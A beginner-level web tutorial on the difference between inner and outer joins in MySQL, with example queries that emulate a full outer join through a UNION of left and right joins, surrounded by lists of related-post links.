DROP PROCEDURE IF EXISTS storedProcedureName

Best Related Posts are Following:

1. MySQL Interview Questions and Answers for Experienced.
2. Difference between inner join and outer join in MySQL.
3. How to get a list of MySQL user accounts?.
4. What is MySQLI technology in php.
5. Advanced MySQL Interview Questions and Answers for Experienced.
6. How to delete MySQL Binary logs Files in Wamp Server?.
7. SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry 2269548 for key PRIMARY.
8. Multiple column ordering in Zend Framework.
9. Mysql Privileges - Types of privileages in MySql - How do I grant privileges in MySQL.
10. Difference Between Primary Key And Unique Key And Foreign Key And Composite Key.
11. Difference Between MyISAM and innoDB - MySQL.
12. MySQL Functions - MySQL tutorial for beginners.
13. mysqlsubqueries examples Scalar Subqueries Row Subqueries Column Subqueries Table Subqueries.
14. Mysql FullText Search Examples.
15. MySQL Constraint Example.
16. MySQL Cascade Example.
17. Mysql-Group-Concat.
18. MySQL Expressions.
19. MySQL Delete Table Example.
20. Replace Table - Update Field, Move Records to another table MySQL.
21. mysql insert syntax - Add records from another table - Copy Table from one table to another.
22. Mysql Update Syntax - Update Multiple Records.

Difference between inner join and outer join in MySQL

Joins are used to get the records from two OR more tables. Following are different type of joins  used in mysql.

• Left Join
• Right Join
• Inner Join
• Self Join
• Outer Join

Following are difference between Inner Join & Outer Join.

Inner Join: It is used to get the common records from two table or more tables.

MySQL Inner Join Example:

SELECT * FROM `geo_cities` as gc INNER JOIN meta_data AS md on md.city_id=gc.id;

Outer Join: It is used to get the all records from two tables or more tables.

MySQL Outer Join Example:
MySQL does not provide the FULL JOIN.
You need to UNION the result of Right Join and Left Join from both tables.

SELECT * FROM `geo_cities` as gc LEFT JOIN meta_data AS md on md.city_id=gc.id
UNION
SELECT * FROM `geo_cities` as gc RIGHT JOIN meta_data AS md on md.city_id=gc.id

Best Related Posts are Following:

1. Difference between MVC and MVP design pattern.
2. Difference between theme and template in website.
3. Difference between in_array and array_key_exists in php with Example.
4. Difference between SSL and HTTPS.
5. Difference between overloading and overriding in php with Example.
6. What is difference between natcasesort and sort?.
7. Difference Between Hadoop and Big-Data.
8. Difference Between Primary Key And Unique Key And Foreign Key And Composite Key.
9. PHP Sessions and Cookie and Security.
10. Difference between WebService and API.
11. Difference Between MyISAM and innoDB - MySQL.